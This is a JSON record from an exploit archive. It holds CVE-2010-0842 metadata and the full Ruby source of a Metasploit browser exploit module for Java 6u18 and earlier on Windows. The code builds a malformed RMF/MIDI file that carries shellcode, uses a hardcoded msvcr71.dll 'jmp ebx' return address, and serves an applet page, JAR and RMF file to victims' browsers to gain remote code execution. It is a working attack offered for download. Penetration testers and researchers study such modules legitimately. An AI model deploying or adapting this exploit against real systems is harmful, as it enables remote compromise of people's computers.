{"exploit":{"id":"MSF-windows--browser--java_mixer_sequencer","name":"Java MixerSequencer Object GM_Song Structure Handling Vulnerability","description":"This module exploits a flaw within the handling of MixerSequencer objects in Java 6u18 and before. Exploitation id done by supplying a specially crafted MIDI file within an RMF File. When the MixerSequencer objects is used to play the file, the GM_Song structure is populated with a function pointer provided by a SONG block in the RMF. A Midi block that contains a MIDI with a specially crafted controller event is used to trigger the vulnerability. When triggering the vulnerability \"ebx\" points to a fake event in the MIDI file which stores the shellcode. A \"jmp ebx\" from msvcr71.dll is used to make the exploit reliable over java updates.","cves":["CVE-2010-0842"],"author":"Peter Vreugdenhil, juan vazquez","published":"2010-03-30","platform":"Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/9e02ac35d81e745446e23f3b552dce2eea215a8a/modules/exploits/windows/browser/java_mixer_sequencer.rb","path":"modules/exploits/windows/browser/java_mixer_sequencer.rb","revision":"9e02ac35d81e745446e23f3b552dce2eea215a8a","filename":"java_mixer_sequencer.rb","vulnerabilities":[{"id":"CVE-2010-0842","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in the Sound component in Oracle Java SE and Java for Business 6 Update 18, 5.0 Update 23, 1.4.2_25, and 1.3.1_27 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the March 2010 CPU. Oracle has not commented on claims from a reliable researcher that this is an uncontrolled array index that allows remote attackers to execute arbitrary code via a MIDI file with a crafted MixerSequencer object, related to the GM_Song structure.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-0842","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2010-0842"},"updatedAt":"2024-08-07T00:59:39.402Z","retrievedAt":"2026-11-26T18:57:20.349Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-windows--browser--java_mixer_sequencer.png?v=2","url":"https://exploitbin.com/exploits/MSF-windows--browser--java_mixer_sequencer","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--browser--java_mixer_sequencer/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--browser--java_mixer_sequencer/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = GreatRanking\n\n  include Msf::Exploit::Remote::HttpServer::HTML\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"Java MixerSequencer Object GM_Song Structure Handling Vulnerability\",\n        'Description' => %q{\n          This module exploits a flaw within the handling of MixerSequencer objects\n          in Java 6u18 and before.\n\n          Exploitation id done by supplying a specially crafted MIDI file within an RMF\n          File. When the MixerSequencer objects is used to play the file, the GM_Song\n          structure is populated with a function pointer provided by a SONG block in the\n          RMF. A Midi block that contains a MIDI with a specially crafted controller event\n          is used to trigger the vulnerability.\n\n          When triggering the vulnerability \"ebx\" points to a fake event in the MIDI file\n          which stores the shellcode. A \"jmp ebx\" from msvcr71.dll is used to make the\n          exploit reliable over java updates.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Peter Vreugdenhil', # Vulnerability Discovery and exploit\n          'juan vazquez', # Metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2010-0842' ],\n          [ 'OSVDB', '63493'],\n          [ 'BID', '39077'],\n          [ 'ZDI', '10-060' ],\n          [ 'URL', 'http://web.archive.org/web/20210624004250/http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/']\n        ],\n        'Payload' => {\n          'Space' => 8000,\n        },\n        'DefaultOptions' => {\n          'EXITFUNC' => \"process\",\n          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [\n            # Tested succesfully on:\n            # Windows XP SP3 / IE 6 / Java 6u18\n            # Windows XP SP3 / IE 7 / Java 6u18\n            # Windows XP SP3 / IE 8 / Java 6u18\n            # Windows XP SP3 / Firefox 7.0.1 / Java 6u18\n            # Windows XP SP3 / IE 8 / Java 6u17\n            # Windows XP SP3 / Firefox 7.0.1 / Java 6u17\n            # Windows 7 / IE 8 / Java 6u18\n            'Windows / Java 6 <=u18',\n            {\n              'Ret' => 0x7C35A78D # jmp ebx # msvcr71.dll\n            }\n          ],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2010-03-30',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def get_rmf\n    rmf_header = \"\"\n    rmf_header << \"IREZ\" # RMFHeaderMagic\n    rmf_header << \"\\x00\\x00\\x00\\x01\" # RMFVersionNumber\n    rmf_header << \"\\x00\\x00\\x00\\x02\" # NumberOfRMFBlocks\n\n    song_block = \"\"\n    song_block << \"\\x00\\x00\\x00\\x65\" # OffsetToNextBlock\n    song_block << \"SONG\" # BlockType\n    song_block << [target.ret].pack(\"N\") # BlockID\n    song_block << \"\\x00\" # BlockName\n    song_block << \"\\x00\\x00\\x00\\x47\" # BlockDataSize\n    song_block << \"\\x7F\\xFF\\x00\\x01\\x00\\x00\\x01\\x01\" # BlockData\n    song_block << \"\\x00\\x00\\x00\\x04\\x00\\x1C\\x00\\x08\" # BlockData\n    song_block << \"\\x00\\x7F\\x00\\x00\\x00\\x00\\x00\\x00\" # BlockData\n    song_block << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" # BlockData\n    song_block << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" # BlockData\n    song_block << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" # BlockData\n    song_block << \"\\x00\\x01\\x54\\x49\\x54\\x4C\\x9F\\xB1\" # BlockData\n    song_block << \"\\xB5\\x0D\\x0A\\x7E\\xFB\\x70\\x9C\\x86\" # BlockData\n    song_block << \"\\xFE\\xB0\\x35\\x93\\xE2\\x5E\\xDE\\xF7\" # BlockData\n\n    midi = \"\"\n    # HEADERCHUNK Header\n    midi << \"MThd\"                 # Header\n    midi << \"\\x00\\x00\\x00\\x06\"     # Chunk size\n    midi << \"\\x00\\x01\"             # Format Type\n    midi << \"\\x00\\x01\"             # Number of tracks\n    midi << \"\\x00\\x08\"             # Time division\n    # TRACKCHUNK header\n    midi << \"MTrk\" # Header\n    midi << \"\\x00\\x00\\x24\\xd7\" # Length\n    midi << \"\\x00\\xb0\\x80\\x00\" # Controller Event # Triggers the vulnerability\n    # Fake Midi Meta event - Shellcode\n    midi << \"\\x38\" # Variable lenght delta time\n    midi << \"\\xff\" # Midi meta event\n    midi << \"\\x02\" # Meta event type 02 => Copyright notice\n    midi << \"\\xc9\\x50\" # Variable Meta Event Length\n    midi << payload.encoded\n    midi << rand_text(9123 - payload.encoded.length)\n\n    midi_block = \"\\x00\\x00\\x25\\x60\" # OffsetToNextBlock\n    midi_block << \"Midi\" # BlockType\n    midi_block << \"\\x00\\x00\\x7f\\xff\" # BlockID\n    midi_block << \"\\x00\" # BlockName\n    midi_block << \"\\x00\\x00\\x24\\xed\" # BlockDataSize\n    midi_block << midi # BlockData\n\n    rmf = \"\"\n    rmf << rmf_header\n    rmf << song_block\n    rmf << midi_block\n\n    rmf_name = \"#{rand_text_alpha(rand(5) + 3)}.rmf\"\n\n    return rmf_name, rmf\n  end\n\n  def get_jar\n    files = [\n      [ \"MyController.class\" ],\n      [ \"MixerMidiApplet.class\" ],\n      [ \"META-INF\", \"services\", \"javax.sound.midi.spi.MidiDeviceProvider\" ]\n    ]\n    jar = Rex::Zip::Jar.new\n    jar.add_file(\"META-INF/\", \"\")\n    jar.add_file(\"META-INF/services/\", \"\")\n    jar.add_files(files, File.join(Msf::Config.data_directory, \"exploits\", \"CVE-2010-0842\"))\n    jar.build_manifest\n\n    jar_name = \"#{rand_text_alpha(rand(5) + 3)}.jar\"\n\n    return jar_name, jar\n  end\n\n  def on_request_uri(cli, request)\n    if request.uri =~ /\\.jar$/i\n      print_status(\"Sending JAR\")\n      send_response(cli, @jar.pack, { 'Content-Type' => 'application/octet-strem' })\n      return\n    end\n\n    if request.uri =~ /\\.rmf$/i\n      print_status(\"Sending RMF file\")\n      send_response(cli, @rmf, { 'Content-Type' => 'application/octet-strem' })\n      return\n    end\n\n    base_uri = ('/' == get_resource[-1, 1]) ? get_resource[0, get_resource.length - 1] : get_resource\n    rmf_uri = base_uri + \"/#{@rmf_name}\"\n    jar_uri = base_uri + \"/#{@jar_name}\"\n\n    html = %Q|\n    <html>\n    <head>\n    </head>\n    <body>\n    <applet code=\"MixerMidiApplet.class\" archive=\"#{jar_uri}\" width=350 height=200>\n      <param name=\"midifile\" valuetype=\"ref\" value=\"#{rmf_uri}\">\n    </applet>\n    </body>\n    </html>\n    |\n\n    html = html.gsub(/^ {4}/, '')\n\n    print_status(\"Sending HTML\")\n    send_response(cli, html, { 'Content-Type' => 'text/html' })\n  end\n\n  def exploit\n    @jar_name, @jar = get_jar\n    @rmf_name, @rmf = get_rmf\n    super\n  end\nend\n","sha256":"1d75e51b52667bee425c4a768f478f093989386bfdfc0faa9328b222946413ad","bytes":6553,"fetchedAt":"2026-11-26T18:57:16.621Z","encoding":"utf-8 (display only; download retains original bytes)"}